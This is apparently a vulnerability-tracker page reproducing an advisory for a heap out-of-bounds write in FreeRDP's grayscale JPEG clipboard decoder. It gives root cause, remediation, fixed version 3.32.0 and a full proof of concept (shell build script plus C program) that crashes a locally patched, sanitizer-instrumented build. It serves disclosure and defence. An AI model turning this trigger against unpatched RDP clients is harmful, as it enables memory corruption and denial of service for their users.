Read the docs

Out-of-bounds write in FreeRDP grayscale JPEG clipboard conversion

Priority MEDIUM 46CWE-787Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Required
Attack complexity
Low
Impact type
—
Confidentiality · integrity · availability
None · Low · High
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-99p4-8j24-wvj4. Fix status from GitHub.

Summary

FreeRDP versions from 3.3.0 through 3.31.1 are affected when built with JPEG support enabled (WINPR_UTILS_IMAGE_JPEG=ON). Wrong buffer sizing for grayscale JPEG clipboard images lets the decoder write past a heap allocation (CWE-787). A malicious or compromised RDP endpoint can offer such a JPEG through clipboard redirection, and the write happens when the client converts it to DIB, such as during a paste. The demonstrated impact is memory corruption and process termination.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

A FreeRDP client built with `WINPR_UTILS_IMAGE_JPEG=ON` can write beyond a heap allocation while converting a grayscale JPEG clipboard item to DIB. A malicious or compromised RDP endpoint can offer the JPEG through clipboard redirection; the vulnerable operation occurs when the client requests the advertised item in DIB form, such as during a paste into an application expecting bitmap data. FreeRDP 3.31.1 registers `image/jpeg` to `CF_DIB` conversion in `winpr/libwinpr/clipboard/synthetic.c`. The synthesizer passes the remote bytes to `winpr_image_read_buffer`, which recognizes JFIF and invokes `winpr_convert_from_jpeg`. In `winpr/libwinpr/utils/image.c`, the decoder selects BGR output before starting decompression: ```c cinfo.out_color_space = cinfo.num_components > 3 ? JCS_EXT_RGBA : JCS_EXT_BGR; ``` For a one-component grayscale input, libjpeg therefore produces three output components. FreeRDP nevertheless calculates its bpp, row stride, and allocation from the one input component: ```c *bpp = WINPR_ASSERTING_INT_CAST(uint32_t, cinfo.num_components * 8); size_t stride = 1ULL * cinfo.image_width * WINPR_ASSERTING_INT_CAST(uint32_t, cinfo.num_components); decomp_data = calloc(stride, cinfo.image_height); ``` It then gives those undersized rows to `jpeg_read_scanlines`. For the included 32x32 grayscale JPEG, FreeRDP allocates 1,024 bytes and advances by 32 bytes per row, while libjpeg writes 96 bytes per row. The final scanlines cross the end of the allocation. The decoder and faulty sizing were introduced together in FreeRDP 3.3.0. The decoder is absent from 3.2.0. Direct inspection confirms the behavior in 3.3.0 and 3.31.1, and path history shows it persists through current development source. No fixed release or exact public duplicate was identified. The JPEG feature is off in the generic source default but enabled in official FreeRDP packaging configurations including the 3.31.1 Flatpak configuration and Debian nightly preload. Exploitation therefore requires a JPEG-enabled build, clipboard redirection, a remote JPEG offer, and a local request for DIB conversion. Deployment prevalence is unknown. The included guard-page replay uses the public decoder reached by the production synthesizer. It changes only the allocation layout so the first byte beyond the buffer faults deterministically. The vulnerable sizing and write loop remain from checksum-pinned FreeRDP 3.31.1. An RGB negative control passes through the same decoder and guarded allocator without a fault; the grayscale case terminates on a WRITE in `jpeg_read_scanlines` called by `winpr_convert_from_jpeg`. The demonstrated impact is attacker-influenced memory corruption and process termination. Code execution, privilege escalation, and confidentiality impact were not demonstrated. ### Remediation After `jpeg_start_decompress`, derive output bpp, row stride, and allocation size from `cinfo.output_components`, `cinfo.output_width`, and `cinfo.output_height`. Check each multiplication before allocating. Add ASan-backed grayscale, RGB, and CMYK/YCCK regression cases for both `winpr_image_read_buffer` and the registered `image/jpeg` to DIB clipboard synthesizer. ### Proof of concept The PoC requires a POSIX shell, curl, SHA-256 utilities, tar, Python 3, CMake, a C compiler, pkg-config, OpenSSL development files, and libjpeg development files. It downloads FreeRDP 3.31.1 and verifies SHA-256 `254de9fe176758e9787347469fb310523782f03c61130508b51b266e374eb6c1`. Run only on a disposable development machine because the positive case intentionally terminates its process: ```sh cd poc ./run.sh ``` Observed result: the RGB control decoded as 32x32, 24 bpp and returned success. The grayscale case reached a 1,024-byte guarded allocation, then AddressSanitizer reported a WRITE SEGV in `jpeg_read_scanlines`, reached from `winpr_convert_from_jpeg`; the runner recorded status 134. ### `poc/run.sh` <!-- BEGIN FILE: poc/run.sh --> ```sh #!/bin/sh set -eu ulimit -c 0 VERSION=3.31.1 ARCHIVE_SHA256=254de9fe176758e9787347469fb310523782f03c61130508b51b266e374eb6c1 ARCHIVE_URL="https://github.com/FreeRDP/FreeRDP/archive/refs/tags/${VERSION}.tar.gz" SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) WORK_DIR="${SCRIPT_DIR}/.work" ARCHIVE="${WORK_DIR}/freerdp-${VERSION}.tar.gz" SOURCE_DIR="${WORK_DIR}/FreeRDP-${VERSION}" BUILD_DIR="${WORK_DIR}/build" cleanup() { rm -rf "${WORK_DIR}" } trap cleanup EXIT HUP INT TERM for command in curl sha256sum tar python3 cmake cc pkg-config; do if ! command -v "${command}" >/dev/null 2>&1; then echo "missing required command: ${command}" >&2 exit 2 fi done if ! pkg-config --exists libjpeg; then echo "missing libjpeg development files (pkg-config module: libjpeg)" >&2 exit 2 fi if ! pkg-config --exists openssl; then echo "missing OpenSSL development files (pkg-config module: openssl)" >&2 exit 2 fi rm -rf "${WORK_DIR}" mkdir -p "${WORK_DIR}" if [ -n "${FREERDP_ARCHIVE:-}" ]; then cp "${FREERDP_ARCHIVE}" "${ARCHIVE}" else curl --fail --location --retry 3 --output "${ARCHIVE}" "${ARCHIVE_URL}" fi printf '%s %s\n' "${ARCHIVE_SHA256}" "${ARCHIVE}" | sha256sum --check --status echo "verified FreeRDP ${VERSION} archive sha256=${ARCHIVE_SHA256}" tar -xzf "${ARCHIVE}" -C "${WORK_DIR}" # Change only the destination allocation layout. The vulnerable calculations and # jpeg_read_scanlines call remain the release's original code. python3 - "${SOURCE_DIR}/winpr/libwinpr/utils/image.c" <<'PY' from pathlib import Path import sys path = Path(sys.argv[1]) source = path.read_text() include_marker = '#include "../log.h"\n#define TAG WINPR_TAG("utils.image")\n' guard = r''' #include <sys/mman.h> #include <unistd.h> static BYTE* poc_guarded_alloc(size_t size) { const long page_size = sysconf(_SC_PAGESIZE); const size_t pages = (size + (size_t)page_size - 1) / (size_t)page_size; BYTE* base = mmap(NULL, (pages + 1) * (size_t)page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (base == MAP_FAILED) return NULL; if (mprotect(base + pages * (size_t)page_size, (size_t)page_size, PROT_NONE) != 0) return NULL; fprintf(stderr, "guarded allocation=%zu bytes\n", size); return base + pages * (size_t)page_size - size; } ''' allocation = '\tdecomp_data = calloc(stride, cinfo.image_height);' replacement = '\tdecomp_data = poc_guarded_alloc(stride * cinfo.image_height);' if source.count(include_marker) != 1 or source.count(allocation) != 1: raise SystemExit('FreeRDP source did not match the pinned release') source = source.replace(include_marker, include_marker + guard, 1) source = source.replace(allocation, replacement, 1) path.write_text(source) PY if ! cmake -S "${SOURCE_DIR}" -B "${BUILD_DIR}" \ -DCMAKE_BUILD_TYPE=RelWithDebInfo \ -DCMAKE_C_FLAGS='-O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer' \ -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined' \ -DWINPR_UTILS_IMAGE_JPEG=ON \ -DWITH_CLIENT_COMMON=OFF -DWITH_CLIENT=OFF -DWITH_SERVER=OFF -DWITH_CHANNELS=OFF \ -DWITH_SHADOW=OFF -DWITH_PROXY=OFF -DWITH_SAMPLE=OFF \ -DWITH_OPENSSL=ON -DWITH_MBEDTLS=OFF -DWITH_PCSC=OFF \ -DWITH_CUPS=OFF -DWITH_FFMPEG=OFF -DWITH_SWSCALE=OFF -DWITH_OPUS=OFF \ -DWITH_GSSAPI=OFF \ -DWITH_KRB5=OFF -DWITH_X11=OFF -DWITH_WAYLAND=OFF \ -DWITH_MANPAGES=OFF -DBUILD_TESTING=OFF >"${WORK_DIR}/configure.log" 2>&1; then cat "${WORK_DIR}/configure.log" >&2 exit 1 fi if ! cmake --build "${BUILD_DIR}" --target winpr --parallel "${JOBS:-2}" \ >"${WORK_DIR}/build.log" 2>&1; then tail -n 200 "${WORK_DIR}/build.log" >&2 exit 1 fi cc -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \ -I"${SOURCE_DIR}/winpr/include" -I"${BUILD_DIR}/winpr/include" \ "${SCRIPT_DIR}/jpeg_guard_poc.c" -o "${WORK_DIR}/jpeg_guard_poc" \ -L"${BUILD_DIR}/winpr/libwinpr" \ -Wl,-rpath,"${BUILD_DIR}/winpr/libwinpr" -lwinpr3 -ljpeg echo "running RGB negative control" ASAN_OPTIONS=abort_on_error=1:detect_leaks=0 "${WORK_DIR}/jpeg_guard_poc" rgb echo "running grayscale positive case (a crash is expected)" set +e ASAN_OPTIONS=abort_on_error=1:detect_leaks=0 "${WORK_DIR}/jpeg_guard_poc" gray \ >"${WORK_DIR}/positive.stdout" 2>"${WORK_DIR}/positive.stderr" positive_status=$? set -e cat "${WORK_DIR}/positive.stdout" cat "${WORK_DIR}/positive.stderr" >&2 if [ "${positive_status}" -eq 0 ]; then echo "positive case unexpectedly returned success" >&2 exit 1 fi if ! grep -q 'guarded allocation=1024 bytes' "${WORK_DIR}/positive.stderr"; then echo "positive case failed before reaching the guarded vulnerable allocation" >&2 exit 1 fi echo "positive case terminated at the guard page with status ${positive_status}" ``` <!-- END FILE: poc/run.sh --> ### `poc/jpeg_guard_poc.c` <!-- BEGIN FILE: poc/jpeg_guard_poc.c --> ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winpr/image.h> #define INT32 INT32_JPEG #include <jpeglib.h> #undef INT32 static size_t make_jpeg(BYTE* output, size_t capacity, int components) { struct jpeg_compress_struct cinfo = { 0 }; struct jpeg_error_mgr error = { 0 }; unsigned char* encoded = NULL; unsigned long encoded_size = 0; BYTE row[32 * 3] = { 0 }; for (size_t x = 0; x < sizeof(row); x++) row[x] = (BYTE)((x * 7U) & 0xFFU); cinfo.err = jpeg_std_error(&error); jpeg_create_compress(&cinfo); jpeg_mem_dest(&cinfo, &encoded, &encoded_size); cinfo.image_width = 32; cinfo.image_height = 32; cinfo.input_components = components; cinfo.in_color_space = components == 1 ? JCS_GRAYSCALE : JCS_RGB; jpeg_set_defaults(&cinfo); jpeg_start_compress(&cinfo, TRUE); while (cinfo.next_scanline < cinfo.image_height) { JSAMPROW current = row; jpeg_write_scanlines(&cinfo, &current, 1); } jpeg_finish_compress(&cinfo); jpeg_destroy_compress(&cinfo); if (encoded_size > capacity) { free(encoded); return 0; } memcpy(output, encoded, encoded_size); free(encoded); return (size_t)encoded_size; } int main(int argc, char** argv) { BYTE encoded[65536] = { 0 }; const int components = (argc == 2 && strcmp(argv[1], "rgb") == 0) ? 3 : 1; const char* name = components == 1 ? "grayscale-positive" : "rgb-negative-control"; const size_t size = make_jpeg(encoded, sizeof(encoded), components); wImage* image = NULL; int rc = -1; if (size == 0) return 2; fprintf(stderr, "case=%s jpeg_bytes=%zu\n", name, size); image = winpr_image_new(); if (!image) return 2; rc = winpr_image_read_buffer(image, encoded, size); fprintf(stderr, "case=%s rc=%d width=%u height=%u bpp=%u\n", name, rc, image->width, image->height, image->bitsPerPixel); /* The PoC allocator is an mmap ending at a guard page, so do not pass it to free(). */ winpr_image_free(image, FALSE); if (components == 3) return rc == 1 ? 0 : 1; /* Reaching this point means the positive case did not hit the guard page. */ return 3; } ``` <!-- END FILE: poc/jpeg_guard_poc.c --> ### Credit Opensec Intelligence

Why it matters now

Fix Fixed FreeRDP (c): 3.32.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)>= 3.3.0, <= 3.31.13.32.0Patch availableGHSA-99p4-8j24-wvj4
  • FreeRDP (c) Vendor— Affected >= 3.3.0, <= 3.31.1 Fixed in 3.32.0 Patch available GHSA-99p4-8j24-wvj4

Remediation

Upgrade FreeRDP to version 3.32.0, which is listed as the fixed version.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-99p4-8j24-wvj4 FreeRDP (c) Fixed in 3.32.0 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-99p4-8j24-wvj4

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences